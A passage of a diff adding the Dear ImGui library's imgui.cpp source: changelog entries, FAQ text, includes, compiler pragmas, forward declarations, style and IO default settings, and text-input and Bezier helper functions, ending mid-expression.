style.ScrollBarWidth to style.ScrollbarWidth (casing) + - 2015/02/27 (1.34) - renamed OpenNextNode(bool) to SetNextTreeNodeOpened(bool, ImGuiSetCond). Kept inline redirection function until 1.50. + - 2015/02/27 (1.34) - renamed ImGuiSetCondition_*** to ImGuiSetCond_***, and _FirstUseThisSession becomes _Once. + - 2015/02/11 (1.32) - changed text input callback ImGuiTextEditCallback return type from void-->int. reserved for future use, return 0 for now. + - 2015/02/10 (1.32) - renamed GetItemWidth() to CalcItemWidth() to clarify its evolving behavior + - 2015/02/08 (1.31) - renamed GetTextLineSpacing() to GetTextLineHeightWithSpacing() + - 2015/02/01 (1.31) - removed IO.MemReallocFn (unused) + - 2015/01/19 (1.30) - renamed ImGuiStorage::GetIntPtr()/GetFloatPtr() to GetIntRef()/GetIntRef() because Ptr was conflicting with actual pointer storage functions. + - 2015/01/11 (1.30) - big font/image API change! now loads TTF file. allow for multiple fonts. no need for a PNG loader. + - 2015/01/11 (1.30) - removed GetDefaultFontData(). uses io.Fonts->GetTextureData*() API to retrieve uncompressed pixels. + - old: const void* png_data; unsigned int png_size; ImGui::GetDefaultFontData(NULL, NULL, &png_data, &png_size); [..Upload texture to GPU..]; + - new: unsigned char* pixels; int width, height; io.Fonts->GetTexDataAsRGBA32(&pixels, &width, &height); [..Upload texture to GPU..]; io.Fonts->TexId = YourTexIdentifier; + you now have more flexibility to load multiple TTF fonts and manage the texture buffer for internal needs. It is now recommended that you sample the font texture with bilinear interpolation. + - 2015/01/11 (1.30) - added texture identifier in ImDrawCmd passed to your render function (we can now render images). make sure to set io.Fonts->TexID. + - 2015/01/11 (1.30) - removed IO.PixelCenterOffset (unnecessary, can be handled in user projection matrix) + - 2015/01/11 (1.30) - removed ImGui::IsItemFocused() in favor of ImGui::IsItemActive() which handles all widgets + - 2014/12/10 (1.18) - removed SetNewWindowDefaultPos() in favor of new generic API SetNextWindowPos(pos, ImGuiSetCondition_FirstUseEver) + - 2014/11/28 (1.17) - moved IO.Font*** options to inside the IO.Font-> structure (FontYOffset, FontTexUvForWhite, FontBaseScale, FontFallbackGlyph) + - 2014/11/26 (1.17) - reworked syntax of IMGUI_ONCE_UPON_A_FRAME helper macro to increase compiler compatibility + - 2014/11/07 (1.15) - renamed IsHovered() to IsItemHovered() + - 2014/10/02 (1.14) - renamed IMGUI_INCLUDE_IMGUI_USER_CPP to IMGUI_INCLUDE_IMGUI_USER_INL and imgui_user.cpp to imgui_user.inl (more IDE friendly) + - 2014/09/25 (1.13) - removed 'text_end' parameter from IO.SetClipboardTextFn (the string is now always zero-terminated for simplicity) + - 2014/09/24 (1.12) - renamed SetFontScale() to SetWindowFontScale() + - 2014/09/24 (1.12) - moved IM_MALLOC/IM_REALLOC/IM_FREE preprocessor defines to IO.MemAllocFn/IO.MemReallocFn/IO.MemFreeFn + - 2014/08/30 (1.09) - removed IO.FontHeight (now computed automatically) + - 2014/08/30 (1.09) - moved IMGUI_FONT_TEX_UV_FOR_WHITE preprocessor define to IO.FontTexUvForWhite + - 2014/08/28 (1.09) - changed the behavior of IO.PixelCenterOffset following various rendering fixes + + + FREQUENTLY ASKED QUESTIONS (FAQ) + ================================ + + Read all answers online: + https://www.dearimgui.org/faq or https://github.com/ocornut/imgui/blob/master/docs/FAQ.md (same url) + Read all answers locally (with a text editor or ideally a Markdown viewer): + docs/FAQ.md + Some answers are copied down here to facilitate searching in code. + + Q&A: Basics + =========== + + Q: Where is the documentation? + A: This library is poorly documented at the moment and expects of the user to be acquainted with C/C++. + - Run the examples/ and explore them. + - See demo code in imgui_demo.cpp and particularly the ImGui::ShowDemoWindow() function. + - The demo covers most features of Dear ImGui, so you can read the code and see its output. + - See documentation and comments at the top of imgui.cpp + effectively imgui.h. + - Dozens of standalone example applications using e.g. OpenGL/DirectX are provided in the + examples/ folder to explain how to integrate Dear ImGui with your own engine/application. + - The Wiki (https://github.com/ocornut/imgui/wiki) has many resources and links. + - The Glossary (https://github.com/ocornut/imgui/wiki/Glossary) page also may be useful. + - Your programming IDE is your friend, find the type or function declaration to find comments + associated to it. + + Q: What is this library called? + Q: Which version should I get? + >> This library is called "Dear ImGui", please don't call it "ImGui" :) + >> See https://www.dearimgui.org/faq for details. + + Q&A: Integration + ================ + + Q: How to get started? + A: Read 'PROGRAMMER GUIDE' above. Read examples/README.txt. + + Q: How can I tell whether to dispatch mouse/keyboard to Dear ImGui or to my application? + A: You should read the 'io.WantCaptureMouse', 'io.WantCaptureKeyboard' and 'io.WantTextInput' flags! + >> See https://www.dearimgui.org/faq for fully detailed answer. You really want to read this. + + Q. How can I enable keyboard controls? + Q: How can I use this without a mouse, without a keyboard or without a screen? (gamepad, input share, remote display) + Q: I integrated Dear ImGui in my engine and little squares are showing instead of text.. + Q: I integrated Dear ImGui in my engine and some elements are clipping or disappearing when I move windows around.. + Q: I integrated Dear ImGui in my engine and some elements are displaying outside their expected windows boundaries.. + >> See https://www.dearimgui.org/faq + + Q&A: Usage + ---------- + + Q: Why is my widget not reacting when I click on it? + Q: How can I have widgets with an empty label? + Q: How can I have multiple widgets with the same label? + Q: How can I display an image? What is ImTextureID, how does it works? + Q: How can I use my own math types instead of ImVec2/ImVec4? + Q: How can I interact with standard C++ types (such as std::string and std::vector)? + Q: How can I display custom shapes? (using low-level ImDrawList API) + >> See https://www.dearimgui.org/faq + + Q&A: Fonts, Text + ================ + + Q: How should I handle DPI in my application? + Q: How can I load a different font than the default? + Q: How can I easily use icons in my application? + Q: How can I load multiple fonts? + Q: How can I display and input non-Latin characters such as Chinese, Japanese, Korean, Cyrillic? + >> See https://www.dearimgui.org/faq and https://github.com/ocornut/imgui/edit/master/docs/FONTS.md + + Q&A: Concerns + ============= + + Q: Who uses Dear ImGui? + Q: Can you create elaborate/serious tools with Dear ImGui? + Q: Can you reskin the look of Dear ImGui? + Q: Why using C++ (as opposed to C)? + >> See https://www.dearimgui.org/faq + + Q&A: Community + ============== + + Q: How can I help? + A: - Businesses: please reach out to "contact AT dearimgui.org" if you work in a place using Dear ImGui! + We can discuss ways for your company to fund development via invoiced technical support, maintenance or sponsoring contacts. + This is among the most useful thing you can do for Dear ImGui. With increased funding we can hire more people working on this project. + - Individuals: you can support continued development via PayPal donations. See README. + - If you are experienced with Dear ImGui and C++, look at the github issues, look at the Wiki, read docs/TODO.txt + and see how you want to help and can help! + - Disclose your usage of Dear ImGui via a dev blog post, a tweet, a screenshot, a mention somewhere etc. + You may post screenshot or links in the gallery threads (github.com/ocornut/imgui/issues/3488). Visuals are ideal as they inspire other programmers. + But even without visuals, disclosing your use of dear imgui help the library grow credibility, and help other teams and programmers with taking decisions. + - If you have issues or if you need to hack into the library, even if you don't expect any support it is useful that you share your issues (on github or privately). + +*/ + +//------------------------------------------------------------------------- +// [SECTION] INCLUDES +//------------------------------------------------------------------------- + +#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS) +#define _CRT_SECURE_NO_WARNINGS +#endif + +#include "imgui.h" +#ifndef IMGUI_DISABLE + +#ifndef IMGUI_DEFINE_MATH_OPERATORS +#define IMGUI_DEFINE_MATH_OPERATORS +#endif +#include "imgui_internal.h" + +// System includes +#include // toupper +#include // vsnprintf, sscanf, printf +#if defined(_MSC_VER) && _MSC_VER <= 1500 // MSVC 2008 or earlier +#include // intptr_t +#else +#include // intptr_t +#endif + +// [Windows] OS specific includes (optional) +#if defined(_WIN32) && defined(IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS) && defined(IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS) && defined(IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS) && !defined(IMGUI_DISABLE_WIN32_FUNCTIONS) +#define IMGUI_DISABLE_WIN32_FUNCTIONS +#endif +#if defined(_WIN32) && !defined(IMGUI_DISABLE_WIN32_FUNCTIONS) +#ifndef WIN32_LEAN_AND_MEAN +#define WIN32_LEAN_AND_MEAN +#endif +#ifndef NOMINMAX +#define NOMINMAX +#endif +#ifndef __MINGW32__ +#include // _wfopen, OpenClipboard +#else +#include +#endif +#if defined(WINAPI_FAMILY) && (WINAPI_FAMILY == WINAPI_FAMILY_APP) // UWP doesn't have all Win32 functions +#define IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS +#define IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS +#endif +#endif + +// [Apple] OS specific includes +#if defined(__APPLE__) +#include +#endif + +// Visual Studio warnings +#ifdef _MSC_VER +#pragma warning (disable: 4127) // condition expression is constant +#pragma warning (disable: 4996) // 'This function or variable may be unsafe': strcpy, strdup, sprintf, vsnprintf, sscanf, fopen +#if defined(_MSC_VER) && _MSC_VER >= 1922 // MSVC 2019 16.2 or later +#pragma warning (disable: 5054) // operator '|': deprecated between enumerations of different types +#endif +#endif + +// Clang/GCC warnings with -Weverything +#if defined(__clang__) +#if __has_warning("-Wunknown-warning-option") +#pragma clang diagnostic ignored "-Wunknown-warning-option" // warning: unknown warning group 'xxx' // not all warnings are known by all Clang versions and they tend to be rename-happy.. so ignoring warnings triggers new warnings on some configuration. Great! +#endif +#pragma clang diagnostic ignored "-Wunknown-pragmas" // warning: unknown warning group 'xxx' +#pragma clang diagnostic ignored "-Wold-style-cast" // warning: use of old-style cast // yes, they are more terse. +#pragma clang diagnostic ignored "-Wfloat-equal" // warning: comparing floating point with == or != is unsafe // storing and comparing against same constants (typically 0.0f) is ok. +#pragma clang diagnostic ignored "-Wformat-nonliteral" // warning: format string is not a string literal // passing non-literal to vsnformat(). yes, user passing incorrect format strings can crash the code. +#pragma clang diagnostic ignored "-Wexit-time-destructors" // warning: declaration requires an exit-time destructor // exit-time destruction order is undefined. if MemFree() leads to users code that has been disabled before exit it might cause problems. ImGui coding style welcomes static/globals. +#pragma clang diagnostic ignored "-Wglobal-constructors" // warning: declaration requires a global destructor // similar to above, not sure what the exact difference is. +#pragma clang diagnostic ignored "-Wsign-conversion" // warning: implicit conversion changes signedness +#pragma clang diagnostic ignored "-Wformat-pedantic" // warning: format specifies type 'void *' but the argument has type 'xxxx *' // unreasonable, would lead to casting every %p arg to void*. probably enabled by -pedantic. +#pragma clang diagnostic ignored "-Wint-to-void-pointer-cast" // warning: cast to 'void *' from smaller integer type 'int' +#pragma clang diagnostic ignored "-Wzero-as-null-pointer-constant" // warning: zero as null pointer constant // some standard header variations use #define NULL 0 +#pragma clang diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function // using printf() is a misery with this as C++ va_arg ellipsis changes float to double. +#pragma clang diagnostic ignored "-Wimplicit-int-float-conversion" // warning: implicit conversion from 'xxx' to 'float' may lose precision +#elif defined(__GNUC__) +// We disable -Wpragmas because GCC doesn't provide an has_warning equivalent and some forks/patches may not following the warning/version association. +#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind +#pragma GCC diagnostic ignored "-Wunused-function" // warning: 'xxxx' defined but not used +#pragma GCC diagnostic ignored "-Wint-to-pointer-cast" // warning: cast to pointer from integer of different size +#pragma GCC diagnostic ignored "-Wformat" // warning: format '%p' expects argument of type 'void*', but argument 6 has type 'ImGuiWindow*' +#pragma GCC diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function +#pragma GCC diagnostic ignored "-Wconversion" // warning: conversion to 'xxxx' from 'xxxx' may alter its value +#pragma GCC diagnostic ignored "-Wformat-nonliteral" // warning: format not a string literal, format string not checked +#pragma GCC diagnostic ignored "-Wstrict-overflow" // warning: assuming signed overflow does not occur when assuming that (X - c) > X is always false +#pragma GCC diagnostic ignored "-Wclass-memaccess" // [__GNUC__ >= 8] warning: 'memset/memcpy' clearing/writing an object of type 'xxxx' with no trivial copy-assignment; use assignment or value-initialization instead +#endif + +// Debug options +#define IMGUI_DEBUG_NAV_SCORING 0 // Display navigation scoring preview when hovering items. Display last moving direction matches when holding CTRL +#define IMGUI_DEBUG_NAV_RECTS 0 // Display the reference navigation rectangle for each window +#define IMGUI_DEBUG_INI_SETTINGS 0 // Save additional comments in .ini file (particularly helps for Docking, but makes saving slower) + +// When using CTRL+TAB (or Gamepad Square+L/R) we delay the visual a little in order to reduce visual noise doing a fast switch. +static const float NAV_WINDOWING_HIGHLIGHT_DELAY = 0.20f; // Time before the highlight and screen dimming starts fading in +static const float NAV_WINDOWING_LIST_APPEAR_DELAY = 0.15f; // Time before the window list starts to appear + +// Window resizing from edges (when io.ConfigWindowsResizeFromEdges = true and ImGuiBackendFlags_HasMouseCursors is set in io.BackendFlags by backend) +static const float WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS = 4.0f; // Extend outside and inside windows. Affect FindHoveredWindow(). +static const float WINDOWS_RESIZE_FROM_EDGES_FEEDBACK_TIMER = 0.04f; // Reduce visual noise by only highlighting the border after a certain time. +static const float WINDOWS_MOUSE_WHEEL_SCROLL_LOCK_TIMER = 2.00f; // Lock scrolled window (so it doesn't pick child windows that are scrolling through) for a certain time, unless mouse moved. + +//------------------------------------------------------------------------- +// [SECTION] FORWARD DECLARATIONS +//------------------------------------------------------------------------- + +static void SetCurrentWindow(ImGuiWindow* window); +static void FindHoveredWindow(); +static ImGuiWindow* CreateNewWindow(const char* name, ImGuiWindowFlags flags); +static ImVec2 CalcNextScrollFromScrollTargetAndClamp(ImGuiWindow* window); + +static void AddDrawListToDrawData(ImVector* out_list, ImDrawList* draw_list); +static void AddWindowToSortBuffer(ImVector* out_sorted_windows, ImGuiWindow* window); + +static ImRect GetViewportRect(); + +// Settings +static void WindowSettingsHandler_ClearAll(ImGuiContext*, ImGuiSettingsHandler*); +static void* WindowSettingsHandler_ReadOpen(ImGuiContext*, ImGuiSettingsHandler*, const char* name); +static void WindowSettingsHandler_ReadLine(ImGuiContext*, ImGuiSettingsHandler*, void* entry, const char* line); +static void WindowSettingsHandler_ApplyAll(ImGuiContext*, ImGuiSettingsHandler*); +static void WindowSettingsHandler_WriteAll(ImGuiContext*, ImGuiSettingsHandler*, ImGuiTextBuffer* buf); + +// Platform Dependents default implementation for IO functions +static const char* GetClipboardTextFn_DefaultImpl(void* user_data); +static void SetClipboardTextFn_DefaultImpl(void* user_data, const char* text); +static void ImeSetInputScreenPosFn_DefaultImpl(int x, int y); + +namespace ImGui +{ + // Navigation + static void NavUpdate(); + static void NavUpdateWindowing(); + static void NavUpdateWindowingOverlay(); + static void NavUpdateMoveResult(); + static void NavUpdateInitResult(); + static float NavUpdatePageUpPageDown(); + static inline void NavUpdateAnyRequestFlag(); + static void NavEndFrame(); + static bool NavScoreItem(ImGuiNavMoveResult* result, ImRect cand); + static void NavApplyItemToResult(ImGuiNavMoveResult* result, ImGuiWindow* window, ImGuiID id, const ImRect& nav_bb_rel); + static void NavProcessItem(ImGuiWindow* window, const ImRect& nav_bb, ImGuiID id); + static ImVec2 NavCalcPreferredRefPos(); + static void NavSaveLastChildNavWindowIntoParent(ImGuiWindow* nav_window); + static ImGuiWindow* NavRestoreLastChildNavWindow(ImGuiWindow* window); + static int FindWindowFocusIndex(ImGuiWindow* window); + + // Error Checking + static void ErrorCheckNewFrameSanityChecks(); + static void ErrorCheckEndFrameSanityChecks(); + + // Misc + static void UpdateSettings(); + static void UpdateMouseInputs(); + static void UpdateMouseWheel(); + static void UpdateTabFocus(); + static void UpdateDebugToolItemPicker(); + static bool UpdateWindowManualResize(ImGuiWindow* window, const ImVec2& size_auto_fit, int* border_held, int resize_grip_count, ImU32 resize_grip_col[4], const ImRect& visibility_rect); + static void RenderWindowOuterBorders(ImGuiWindow* window); + static void RenderWindowDecorations(ImGuiWindow* window, const ImRect& title_bar_rect, bool title_bar_is_highlight, int resize_grip_count, const ImU32 resize_grip_col[4], float resize_grip_draw_size); + static void RenderWindowTitleBarContents(ImGuiWindow* window, const ImRect& title_bar_rect, const char* name, bool* p_open); + +} + +//----------------------------------------------------------------------------- +// [SECTION] CONTEXT AND MEMORY ALLOCATORS +//----------------------------------------------------------------------------- + +// Current context pointer. Implicitly used by all Dear ImGui functions. Always assumed to be != NULL. +// ImGui::CreateContext() will automatically set this pointer if it is NULL. Change to a different context by calling ImGui::SetCurrentContext(). +// 1) Important: globals are not shared across DLL boundaries! If you use DLLs or any form of hot-reloading: you will need to call +// SetCurrentContext() (with the pointer you got from CreateContext) from each unique static/DLL boundary, and after each hot-reloading. +// In your debugger, add GImGui to your watch window and notice how its value changes depending on which location you are currently stepping into. +// 2) Important: Dear ImGui functions are not thread-safe because of this pointer. +// If you want thread-safety to allow N threads to access N different contexts, you can: +// - Change this variable to use thread local storage so each thread can refer to a different context, in imconfig.h: +// struct ImGuiContext; +// extern thread_local ImGuiContext* MyImGuiTLS; +// #define GImGui MyImGuiTLS +// And then define MyImGuiTLS in one of your cpp file. Note that thread_local is a C++11 keyword, earlier C++ uses compiler-specific keyword. +// - Future development aim to make this context pointer explicit to all calls. Also read https://github.com/ocornut/imgui/issues/586 +// - If you need a finite number of contexts, you may compile and use multiple instances of the ImGui code from different namespace. +#ifndef GImGui +ImGuiContext* GImGui = NULL; +#endif + +// Memory Allocator functions. Use SetAllocatorFunctions() to change them. +// If you use DLL hotreloading you might need to call SetAllocatorFunctions() after reloading code from this file. +// Otherwise, you probably don't want to modify them mid-program, and if you use global/static e.g. ImVector<> instances you may need to keep them accessible during program destruction. +#ifndef IMGUI_DISABLE_DEFAULT_ALLOCATORS +static void* MallocWrapper(size_t size, void* user_data) { IM_UNUSED(user_data); return malloc(size); } +static void FreeWrapper(void* ptr, void* user_data) { IM_UNUSED(user_data); free(ptr); } +#else +static void* MallocWrapper(size_t size, void* user_data) { IM_UNUSED(user_data); IM_UNUSED(size); IM_ASSERT(0); return NULL; } +static void FreeWrapper(void* ptr, void* user_data) { IM_UNUSED(user_data); IM_UNUSED(ptr); IM_ASSERT(0); } +#endif + +static void* (*GImAllocatorAllocFunc)(size_t size, void* user_data) = MallocWrapper; +static void (*GImAllocatorFreeFunc)(void* ptr, void* user_data) = FreeWrapper; +static void* GImAllocatorUserData = NULL; + +//----------------------------------------------------------------------------- +// [SECTION] USER FACING STRUCTURES (ImGuiStyle, ImGuiIO) +//----------------------------------------------------------------------------- + +ImGuiStyle::ImGuiStyle() +{ + Alpha = 1.0f; // Global alpha applies to everything in ImGui + WindowPadding = ImVec2(8, 8); // Padding within a window + WindowRounding = 0.0f; // Radius of window corners rounding. Set to 0.0f to have rectangular windows. Large values tend to lead to variety of artifacts and are not recommended. + WindowBorderSize = 1.0f; // Thickness of border around windows. Generally set to 0.0f or 1.0f. Other values not well tested. + WindowMinSize = ImVec2(32, 32); // Minimum window size + WindowTitleAlign = ImVec2(0.0f, 0.5f);// Alignment for title bar text + WindowMenuButtonPosition = ImGuiDir_Left; // Position of the collapsing/docking button in the title bar (left/right). Defaults to ImGuiDir_Left. + ChildRounding = 0.0f; // Radius of child window corners rounding. Set to 0.0f to have rectangular child windows + ChildBorderSize = 1.0f; // Thickness of border around child windows. Generally set to 0.0f or 1.0f. Other values not well tested. + PopupRounding = 0.0f; // Radius of popup window corners rounding. Set to 0.0f to have rectangular child windows + PopupBorderSize = 1.0f; // Thickness of border around popup or tooltip windows. Generally set to 0.0f or 1.0f. Other values not well tested. + FramePadding = ImVec2(4, 3); // Padding within a framed rectangle (used by most widgets) + FrameRounding = 0.0f; // Radius of frame corners rounding. Set to 0.0f to have rectangular frames (used by most widgets). + FrameBorderSize = 0.0f; // Thickness of border around frames. Generally set to 0.0f or 1.0f. Other values not well tested. + ItemSpacing = ImVec2(8, 4); // Horizontal and vertical spacing between widgets/lines + ItemInnerSpacing = ImVec2(4, 4); // Horizontal and vertical spacing between within elements of a composed widget (e.g. a slider and its label) + CellPadding = ImVec2(4, 2); // Padding within a table cell + TouchExtraPadding = ImVec2(0, 0); // Expand reactive bounding box for touch-based system where touch position is not accurate enough. Unfortunately we don't sort widgets so priority on overlap will always be given to the first widget. So don't grow this too much! + IndentSpacing = 21.0f; // Horizontal spacing when e.g. entering a tree node. Generally == (FontSize + FramePadding.x*2). + ColumnsMinSpacing = 6.0f; // Minimum horizontal spacing between two columns. Preferably > (FramePadding.x + 1). + ScrollbarSize = 14.0f; // Width of the vertical scrollbar, Height of the horizontal scrollbar + ScrollbarRounding = 9.0f; // Radius of grab corners rounding for scrollbar + GrabMinSize = 10.0f; // Minimum width/height of a grab box for slider/scrollbar + GrabRounding = 0.0f; // Radius of grabs corners rounding. Set to 0.0f to have rectangular slider grabs. + LogSliderDeadzone = 4.0f; // The size in pixels of the dead-zone around zero on logarithmic sliders that cross zero. + TabRounding = 4.0f; // Radius of upper corners of a tab. Set to 0.0f to have rectangular tabs. + TabBorderSize = 0.0f; // Thickness of border around tabs. + TabMinWidthForCloseButton = 0.0f; // Minimum width for close button to appears on an unselected tab when hovered. Set to 0.0f to always show when hovering, set to FLT_MAX to never show close button unless selected. + ColorButtonPosition = ImGuiDir_Right; // Side of the color button in the ColorEdit4 widget (left/right). Defaults to ImGuiDir_Right. + ButtonTextAlign = ImVec2(0.5f, 0.5f);// Alignment of button text when button is larger than text. + SelectableTextAlign = ImVec2(0.0f, 0.0f);// Alignment of selectable text. Defaults to (0.0f, 0.0f) (top-left aligned). It's generally important to keep this left-aligned if you want to lay multiple items on a same line. + DisplayWindowPadding = ImVec2(19, 19); // Window position are clamped to be visible within the display area or monitors by at least this amount. Only applies to regular windows. + DisplaySafeAreaPadding = ImVec2(3, 3); // If you cannot see the edge of your screen (e.g. on a TV) increase the safe area padding. Covers popups/tooltips as well regular windows. + MouseCursorScale = 1.0f; // Scale software rendered mouse cursor (when io.MouseDrawCursor is enabled). May be removed later. + AntiAliasedLines = true; // Enable anti-aliased lines/borders. Disable if you are really tight on CPU/GPU. + AntiAliasedLinesUseTex = true; // Enable anti-aliased lines/borders using textures where possible. Require backend to render with bilinear filtering. + AntiAliasedFill = true; // Enable anti-aliased filled shapes (rounded rectangles, circles, etc.). + CurveTessellationTol = 1.25f; // Tessellation tolerance when using PathBezierCurveTo() without a specific number of segments. Decrease for highly tessellated curves (higher quality, more polygons), increase to reduce quality. + CircleSegmentMaxError = 1.60f; // Maximum error (in pixels) allowed when using AddCircle()/AddCircleFilled() or drawing rounded corner rectangles with no explicit segment count specified. Decrease for higher quality but more geometry. + + // Default theme + ImGui::StyleColorsDark(this); +} + +// To scale your entire UI (e.g. if you want your app to use High DPI or generally be DPI aware) you may use this helper function. Scaling the fonts is done separately and is up to you. +// Important: This operation is lossy because we round all sizes to integer. If you need to change your scale multiples, call this over a freshly initialized ImGuiStyle structure rather than scaling multiple times. +void ImGuiStyle::ScaleAllSizes(float scale_factor) +{ + WindowPadding = ImFloor(WindowPadding * scale_factor); + WindowRounding = ImFloor(WindowRounding * scale_factor); + WindowMinSize = ImFloor(WindowMinSize * scale_factor); + ChildRounding = ImFloor(ChildRounding * scale_factor); + PopupRounding = ImFloor(PopupRounding * scale_factor); + FramePadding = ImFloor(FramePadding * scale_factor); + FrameRounding = ImFloor(FrameRounding * scale_factor); + ItemSpacing = ImFloor(ItemSpacing * scale_factor); + ItemInnerSpacing = ImFloor(ItemInnerSpacing * scale_factor); + CellPadding = ImFloor(CellPadding * scale_factor); + TouchExtraPadding = ImFloor(TouchExtraPadding * scale_factor); + IndentSpacing = ImFloor(IndentSpacing * scale_factor); + ColumnsMinSpacing = ImFloor(ColumnsMinSpacing * scale_factor); + ScrollbarSize = ImFloor(ScrollbarSize * scale_factor); + ScrollbarRounding = ImFloor(ScrollbarRounding * scale_factor); + GrabMinSize = ImFloor(GrabMinSize * scale_factor); + GrabRounding = ImFloor(GrabRounding * scale_factor); + LogSliderDeadzone = ImFloor(LogSliderDeadzone * scale_factor); + TabRounding = ImFloor(TabRounding * scale_factor); + TabMinWidthForCloseButton = (TabMinWidthForCloseButton != FLT_MAX) ? ImFloor(TabMinWidthForCloseButton * scale_factor) : FLT_MAX; + DisplayWindowPadding = ImFloor(DisplayWindowPadding * scale_factor); + DisplaySafeAreaPadding = ImFloor(DisplaySafeAreaPadding * scale_factor); + MouseCursorScale = ImFloor(MouseCursorScale * scale_factor); +} + +ImGuiIO::ImGuiIO() +{ + // Most fields are initialized with zero + memset(this, 0, sizeof(*this)); + IM_ASSERT(IM_ARRAYSIZE(ImGuiIO::MouseDown) == ImGuiMouseButton_COUNT && IM_ARRAYSIZE(ImGuiIO::MouseClicked) == ImGuiMouseButton_COUNT); // Our pre-C++11 IM_STATIC_ASSERT() macros triggers warning on modern compilers so we don't use it here. + + // Settings + ConfigFlags = ImGuiConfigFlags_None; + BackendFlags = ImGuiBackendFlags_None; + DisplaySize = ImVec2(-1.0f, -1.0f); + DeltaTime = 1.0f / 60.0f; + IniSavingRate = 5.0f; + IniFilename = XOR("imgui.ini"); + LogFilename = XOR("imgui_log.txt"); + MouseDoubleClickTime = 0.30f; + MouseDoubleClickMaxDist = 6.0f; + for (int i = 0; i < ImGuiKey_COUNT; i++) + KeyMap[i] = -1; + KeyRepeatDelay = 0.275f; + KeyRepeatRate = 0.050f; + UserData = NULL; + + Fonts = NULL; + FontGlobalScale = 1.0f; + FontDefault = NULL; + FontAllowUserScaling = false; + DisplayFramebufferScale = ImVec2(1.0f, 1.0f); + + // Miscellaneous options + MouseDrawCursor = false; +#ifdef __APPLE__ + ConfigMacOSXBehaviors = true; // Set Mac OS X style defaults based on __APPLE__ compile time flag +#else + ConfigMacOSXBehaviors = false; +#endif + ConfigInputTextCursorBlink = true; + ConfigWindowsResizeFromEdges = true; + ConfigWindowsMoveFromTitleBarOnly = false; + ConfigMemoryCompactTimer = 60.0f; + + // Platform Functions + BackendPlatformName = BackendRendererName = NULL; + BackendPlatformUserData = BackendRendererUserData = BackendLanguageUserData = NULL; + GetClipboardTextFn = GetClipboardTextFn_DefaultImpl; // Platform dependent default implementations + SetClipboardTextFn = SetClipboardTextFn_DefaultImpl; + ClipboardUserData = NULL; + ImeSetInputScreenPosFn = ImeSetInputScreenPosFn_DefaultImpl; + ImeWindowHandle = NULL; + + // Input (NB: we already have memset zero the entire structure!) + MousePos = ImVec2(-FLT_MAX, -FLT_MAX); + MousePosPrev = ImVec2(-FLT_MAX, -FLT_MAX); + MouseDragThreshold = 6.0f; + for (int i = 0; i < IM_ARRAYSIZE(MouseDownDuration); i++) MouseDownDuration[i] = MouseDownDurationPrev[i] = -1.0f; + for (int i = 0; i < IM_ARRAYSIZE(KeysDownDuration); i++) KeysDownDuration[i] = KeysDownDurationPrev[i] = -1.0f; + for (int i = 0; i < IM_ARRAYSIZE(NavInputsDownDuration); i++) NavInputsDownDuration[i] = -1.0f; +} + +// Pass in translated ASCII characters for text input. +// - with glfw you can get those from the callback set in glfwSetCharCallback() +// - on Windows you can get those using ToAscii+keyboard state, or via the WM_CHAR message +void ImGuiIO::AddInputCharacter(unsigned int c) +{ + if (c != 0) + InputQueueCharacters.push_back(c <= IM_UNICODE_CODEPOINT_MAX ? (ImWchar)c : IM_UNICODE_CODEPOINT_INVALID); +} + +// UTF16 strings use surrogate pairs to encode codepoints >= 0x10000, so +// we should save the high surrogate. +void ImGuiIO::AddInputCharacterUTF16(ImWchar16 c) +{ + if (c == 0 && InputQueueSurrogate == 0) + return; + + if ((c & 0xFC00) == 0xD800) // High surrogate, must save + { + if (InputQueueSurrogate != 0) + InputQueueCharacters.push_back(IM_UNICODE_CODEPOINT_INVALID); + InputQueueSurrogate = c; + return; + } + + ImWchar cp = c; + if (InputQueueSurrogate != 0) + { + if ((c & 0xFC00) != 0xDC00) // Invalid low surrogate + InputQueueCharacters.push_back(IM_UNICODE_CODEPOINT_INVALID); + else if (IM_UNICODE_CODEPOINT_MAX == (0xFFFF)) // Codepoint will not fit in ImWchar (extra parenthesis around 0xFFFF somehow fixes -Wunreachable-code with Clang) + cp = IM_UNICODE_CODEPOINT_INVALID; + else + cp = (ImWchar)(((InputQueueSurrogate - 0xD800) << 10) + (c - 0xDC00) + 0x10000); + InputQueueSurrogate = 0; + } + InputQueueCharacters.push_back(cp); +} + +void ImGuiIO::AddInputCharactersUTF8(const char* utf8_chars) +{ + while (*utf8_chars != 0) + { + unsigned int c = 0; + utf8_chars += ImTextCharFromUtf8(&c, utf8_chars, NULL); + if (c != 0) + InputQueueCharacters.push_back((ImWchar)c); + } +} + +void ImGuiIO::ClearInputCharacters() +{ + InputQueueCharacters.resize(0); +} + +//----------------------------------------------------------------------------- +// [SECTION] MISC HELPERS/UTILITIES (Geometry functions) +//----------------------------------------------------------------------------- + +ImVec2 ImBezierCubicClosestPoint(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, const ImVec2& p, int num_segments) +{ + IM_ASSERT(num_segments > 0); // Use ImBezierClosestPointCasteljau() + ImVec2 p_last = p1; + ImVec2 p_closest; + float p_closest_dist2 = FLT_MAX; + float t_step = 1.0f / (float)num_segments; + for (int i_step = 1; i_step <= num_segments; i_step++) + { + ImVec2 p_current = ImBezierCubicCalc(p1, p2, p3, p4, t_step * i_step); + ImVec2 p_line = ImLineClosestPoint(p_last, p_current, p); + float dist2 = ImLengthSqr(p - p_line); + if (dist2 < p_closest_dist2) + { + p_closest = p_line; + p_closest_dist2 = dist2; + } + p_last = p_current; + } + return p_closest; +} + +// Closely mimics PathBezierToCasteljau() in imgui_draw.cpp +static void ImBezierCubicClosestPointCasteljauStep(const ImVec2& p, ImVec2& p_closest, ImVec2& p_last, float& p_closest_dist2, float x1, float y1, float x2, float y2, float x3, float y3, float x4, float y4, float tess_tol, int level) +{ + float dx = x4 - x1; + float dy = y4 - y1; + float d2 = ((x2 - x4) * dy - (y2 - y4) * dx); + float d3 = ((x3 - x4) * dy - (y3 - y4) * dx); + d2 = (d2 >= 